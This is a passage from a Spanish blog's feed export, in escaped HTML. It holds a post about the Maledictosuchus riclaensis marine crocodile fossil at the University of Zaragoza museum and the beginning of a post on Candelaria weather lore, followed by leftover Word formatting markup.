cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-right: 1em; text-align: left;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsGdYoAQk-7pDiDx1gjcbeAh_anJFS8zEh7PwVF0RUP-DM3htsypMdkaY-dUVPOgA6pOyHHsZV_6n7zrLPt2ZLrcdHQP3WFOyeAljQ7Zb91P_Mab1O9_0KnZA2osm5UJT41-EkyIDbQAhH/s1000/Cocodrilo+de+Ricla.jpg&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;581&quot; data-original-width=&quot;1000&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsGdYoAQk-7pDiDx1gjcbeAh_anJFS8zEh7PwVF0RUP-DM3htsypMdkaY-dUVPOgA6pOyHHsZV_6n7zrLPt2ZLrcdHQP3WFOyeAljQ7Zb91P_Mab1O9_0KnZA2osm5UJT41-EkyIDbQAhH/w344-h200/Cocodrilo+de+Ricla.jpg&quot; width=&quot;344&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
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&lt;p&gt;&lt;/p&gt;&lt;h4 class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot;&gt;EL COCODRILO MALDITO DE RICLA&amp;nbsp;&amp;nbsp;&amp;nbsp; (&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Maledictosuchus riclaensis&lt;/i&gt;)&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;Uno de los fósiles más
curiosos e interesantes del Museo de Ciencias Naturales de la Universidad de
Zaragoza es el &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Maledictosuchus riclaensis&lt;/i&gt;,
un cráneo de reptil marino encontrado en nuestra provincia, que tiene una
curiosa historia.&lt;/span&gt;
&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;Fue
hallado en 1994 en las cercanías de la localidad de Ricla (Zaragoza), durante la
campaña de prospección previa a las obras de la línea ferroviaria del AVE.&lt;/span&gt;&lt;/p&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;El
lugar en el que se excavaba corresponde geológicamente al Jurásico Medio (entre
174 Ma. y 164 Ma.) momento en el que estaba cubierto por el mar. Durante ese
periodo las tierras emergidas se distribuían en continentes que poco o nada
tienen que ver con los actuales, la Península Ibérica no existía como tal y esa
zona estaba ocupada por un mar somero y tropical, en el que vivían bivalvos,
ammonites y otros animales marinos.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;Los
paleontólogos excavaban en un barranco en el que anteriormente se habían
encontrado algunos fósiles cuando descubrieron algo que les llamó la atención,
eran unos nódulos que contenían pequeños fragmentos de hueso; intrigados por el
hallazgo decidieron trasladarlos a la Universidad de Zaragoza para ser
estudiados con más precisión.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;En
el laboratorio de la universidad aplicaron a los nódulos diferentes técnicas
para extraer las esquirlas, el proceso no resultó fácil y fue muy largo debido
a las dificultades que se fueron presentando, pero cuando finalmente los
investigadores lograron extraer los restos fósiles y encajar las piezas se
llevaron una gran sorpresa al comprobar que se trataba del &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;cráneo de un reptil marino&lt;/b&gt;. &lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;Los paleontólogos no dudaban
de que fuera así, pero su extraño aspecto de cocodrilo les planteaba muchos
interrogantes en cuanto a su clasificación, pues no se correspondía con ninguno
de los fósiles de reptiles marinos encontrados hasta ese momento.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;/p&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: right; margin-left: 1em; text-align: right;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBAF-WuAOLknCBFBD_Xf0rqhFUuJSxy2mmtFTXnHY9R6e027AKUQjCowjZGMdVwwZkoaezmYaGwFjr1Sinu7CBg1DHH2DlA_r97YbEojT-bdqdfTNlH76vQQGq089EmDqruwYfReDI98_8/s853/MUSEO+CIENCIAS.jpg&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;853&quot; data-original-width=&quot;640&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBAF-WuAOLknCBFBD_Xf0rqhFUuJSxy2mmtFTXnHY9R6e027AKUQjCowjZGMdVwwZkoaezmYaGwFjr1Sinu7CBg1DHH2DlA_r97YbEojT-bdqdfTNlH76vQQGq089EmDqruwYfReDI98_8/s320/MUSEO+CIENCIAS.jpg&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Sede del Museo de Ciencias Naturales &lt;br /&gt;&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;Con el fin de resolver esos enigmas,
se iniciaron varios estudios del cráneo, pero ninguno logró desentrañarlos y,&lt;/span&gt;&lt;span style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt; &lt;/span&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;por una u otra causa, todos fueron
abandonados, tantos fueron los problemas que los investigadores comenzaron a
llamarlo “maldito” y el fósil acabó relegado, &lt;br /&gt;sin más, en el museo. &lt;/span&gt;&lt;p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;Pasó el tiempo, mucho
tiempo, casi veinte años, hasta que una joven licenciada en Geológicas, Jara
Parrilla, inició su tesis doctoral en Paleontología y, sin conocer la fama que
se le atribuía al fósil, como ella misma explica, se sumergió de lleno en el
estudio del cráneo. Le dedicó muchas horas y esfuerzo y, tras estudiarlo en
profundidad, las incógnitas del denostado fósil comenzaron, por fin, a ser
desveladas.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;Dentro
de la compleja taxonomía de los ya extintos cocodrilos marinos, la doctora
Parrilla situó el cráneo de este reptil en el amplio grupo de los talatosuquios,
reptiles marinos que vivieron durante el Mesozoico y que desarrollaron
numerosas adaptaciones para la vida en el mar, como un rostro alargado con
muchos y pequeños dientes, las extremidades en forma de aleta y la cola
bilobulada. &lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;Llegó
a la conclusión que, dentro de este gran grupo de cocodrilos marinos talatosuquios,
el cráneo pertenecía a un animal de la familia metriorrínquidos
(Metriorhynchidae). &lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;Analizó las
distintas partes del cráneo tales como la forma de los dientes y las suturas
entre los huesos que forman el cráneo, así como los extraños caracteres que este
fósil presenta al combinar formas algo más primitivas con otras más
evolucionadas. Por ello llegó a la conclusión de que este cráneo había
pertenecido a un cocodrilo marino no conocido hasta ese momento, se trataba de
un ejemplar único, pertenecía a una &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;nueva
especie para la ciencia&lt;/b&gt;.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;Y
así fue, el animal en cuestión era el miembro más basal de la tribu de los
dakosaurinos, género extinto de los metiorrínquidos, que vivió durante el Jurásico
Medio (Calloviense), hace aproximadamente 165 Ma.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;Por
anatomía comparada, se puede deducir que este reptil marino tendría un cuerpo hidrodinámico,
es decir alargado, para disminuir la resistencia del agua, poseería unas
extremidades en forma de aleta y su cola sería bilobulada, parecida a la de los
tiburones, para facilitar la natación. &lt;/span&gt;&lt;span style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;En suma, &lt;/span&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;por
su forma corporal sería bastante más parecido a un delfín que a un cocodrilo
actual.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;Por
la estructura del cráneo, se puede deducir que tenía grandes ojos, pues las órbitas
oculares del fósil son de un tamaño considerable y al estar situadas a los
lados del cráneo se puede afirmar que estaban adaptados para ver dentro del
agua.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;También
las fosas nasales presentan adaptaciones para respirar en el agua, ya que están
algo desplazadas hacia los laterales. &lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;La
forma de su mandíbula y los numerosos y pequeños dientes, de los que el fósil
sólo conserva unos pocos (pero ha mantenido los alvéolos dentales), indica que
su alimentación era fundamentalmente piscívora.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;La
tomografía computarizada que le fue aplicada al cráneo reveló que, además de
las adaptaciones morfológicas, este animal tenía también adaptaciones
fisiológicas, pues alojadas a los lados de las cavidades nasales presenta unas
estructuras en forma de lágrima que corresponderían a glándulas de la sal hipertrofiadas.
Mediante ellas, el animal regularía la concentración de sales en su organismo,
lo que nos indica que tenía un alto grado de adaptación al mar. &lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;En
definitiva este cráneo fósil corresponde a un ejemplar de cocodrilo marino, el
más antiguo encontrado en la Península Ibérica, siendo además el primer reptil
marino del Jurásico descrito en España.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;Y como había que asignarle un nombre, en
recuerdo de la “maldición” que tanto tiempo dificultó su identificación, se le
llamó &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Maledictosuchus riclaensis&lt;/i&gt;, el &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;COCODRILO MALDITO DE RICLA&lt;/b&gt;.&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;border: medium none; mso-border-bottom-alt: solid windowtext 1.5pt; mso-padding-alt: 0cm 0cm 1.0pt 0cm; padding: 0cm; text-align: justify;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;Hoy
es uno de los fósiles más importantes del Museo de Ciencias Naturales de la
Universidad de Zaragoza.&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;border: medium none; padding: 0cm; text-align: right;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;&lt;i&gt;Rosa M. Germán&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;border: medium none; padding: 0cm; text-align: left;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;&lt;i&gt;&amp;nbsp;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;border: medium none; padding: 0cm; text-align: left;&quot;&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;span class=&quot;aCOpRe&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #990000;&quot;&gt;Museo de Ciencias Naturales. Universidad de Zaragoza:&lt;/span&gt; &lt;a href=&quot;http://museonat.unizar.es/&quot; target=&quot;_blank&quot;&gt;VISITAR&lt;/a&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;b&gt;&lt;span&gt;&lt;span class=&quot;aCOpRe&quot;&gt;&lt;span&gt;&lt;span class=&quot;aCOpRe&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;b&gt;&lt;span class=&quot;aCOpRe&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #990000;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;b&gt;&lt;span style=&quot;color: #990000;&quot;&gt;&lt;span class=&quot;aCOpRe&quot;&gt;&lt;span&gt;&lt;span class=&quot;aCOpRe&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #990000;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;&lt;span class=&quot;aCOpRe&quot;&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h4&gt;&lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;border: medium none; padding: 0cm; text-align: right;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;&lt;i&gt;&amp;nbsp;&lt;/i&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;

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&lt;![endif]--&gt;</content><link rel='replies' type='application/atom+xml' href='https://lazaragozaignorada.blogspot.com/feeds/7925766371888874970/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://lazaragozaignorada.blogspot.com/2021/04/descubriendo-el-museo-de-ciencias.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/7925766371888874970'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/7925766371888874970'/><link rel='alternate' type='text/html' href='https://lazaragozaignorada.blogspot.com/2021/04/descubriendo-el-museo-de-ciencias.html' title='Descubriendo el Museo de Ciencias Naturales de la Universidad de Zaragoza '/><author><name>Rosa</name><uri>http://www.blogger.com/profile/08409146523301149560</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsGdYoAQk-7pDiDx1gjcbeAh_anJFS8zEh7PwVF0RUP-DM3htsypMdkaY-dUVPOgA6pOyHHsZV_6n7zrLPt2ZLrcdHQP3WFOyeAljQ7Zb91P_Mab1O9_0KnZA2osm5UJT41-EkyIDbQAhH/s72-w344-h200-c/Cocodrilo+de+Ricla.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3754730700529506539.post-8259148590291056928</id><published>2021-02-03T12:16:00.005+01:00</published><updated>2021-04-15T17:43:37.340+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="TRADICIONES"/><title type='text'>La Candelaria y la predicción del tiempo</title><content type='html'>&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-bottom: 8px; margin-right: 1em; padding: 6px;&quot;&gt;&lt;tbody style=&quot;margin-bottom: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; padding: 0px;&quot;&gt;&lt;tr style=&quot;margin-bottom: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; padding: 0px;&quot;&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot; style=&quot;font-size: medium;&quot;&gt;&lt;img height=&quot;320&quot; onmouseout=&quot;this.src=&#39;https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcQvCZwBHFXTM78oQqnViHeUMOklx6TGQaxtCDBGiCUM7o954mtE&#39;;&quot; onmouseover=&quot;this.src=&#39;https://upload.wikimedia.org/wikipedia/commons/thumb/6/6b/Candelaria_virgen.jpg/400px-Candelaria_virgen.jpg&#39;;&quot; src=&quot;https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcQvCZwBHFXTM78oQqnViHeUMOklx6TGQaxtCDBGiCUM7o954mtE&quot; style=&quot;margin-left: 0px; margin-right: 0px;&quot; width=&quot;239&quot; /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;margin-bottom: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; padding: 0px;&quot;&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;padding-top: 4px; text-align: center;&quot;&gt;&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;&lt;h3&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , sans-serif&quot; style=&quot;font-size: x-small; padding-top: 0px;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;(Pasa el ratón por encima de la imagen)&lt;/span&gt;&lt;/span&gt;&lt;/h3&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h2 style=&quot;text-align: left;&quot;&gt;&amp;nbsp;&lt;/h2&gt;&lt;h2 style=&quot;text-align: left;&quot;&gt;&amp;nbsp;&lt;b&gt;&lt;span style=&quot;font-size: big;&quot;&gt;&lt;i&gt;&lt;span style=&quot;mso-bidi-font-style: normal text-align: justify;&quot;&gt;&quot;Cuan la Candelera plora, l’ibierno ya ye fora&quot;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;&lt;div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;&lt;span&gt;Hoy, 2 de febrero es la Candelaria, festividad muy popular en otro
tiempo, celebrada en muchos lugares de nuestra geografía. Como&amp;nbsp; otras muchas, esta fiesta hunde sus raíces en antiguas celebraciones paganas relacionadas con
el aumento de la luz solar y la fertilidad, celebraciones que con la llegada del cristianismo, fueron santificadas.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;&lt;span&gt;La Candelaria está relacionada con la
luz y la predicción del tiempo, del fin o no de lo más crudo del invierno.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;&lt;span&gt;De ahí el refrán &lt;b&gt;&quot;&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Cuan
la Candelera plora, l’ibierno ya ye fora&lt;/i&gt;&quot;&lt;/b&gt;.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span&gt;&lt;span&gt;Hoy pocas gentes conocen su
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  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 9&quot;/&gt;
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   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Title&quot;/&gt;
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   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Subtitle&quot;/&gt;
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   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Strong&quot;/&gt;
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   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;59&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Table Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; UnhideWhenUsed=&quot;false&quot; Name=&quot;Placeholder Text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;1&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;No Spacing&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
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   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2&quot;/&gt;
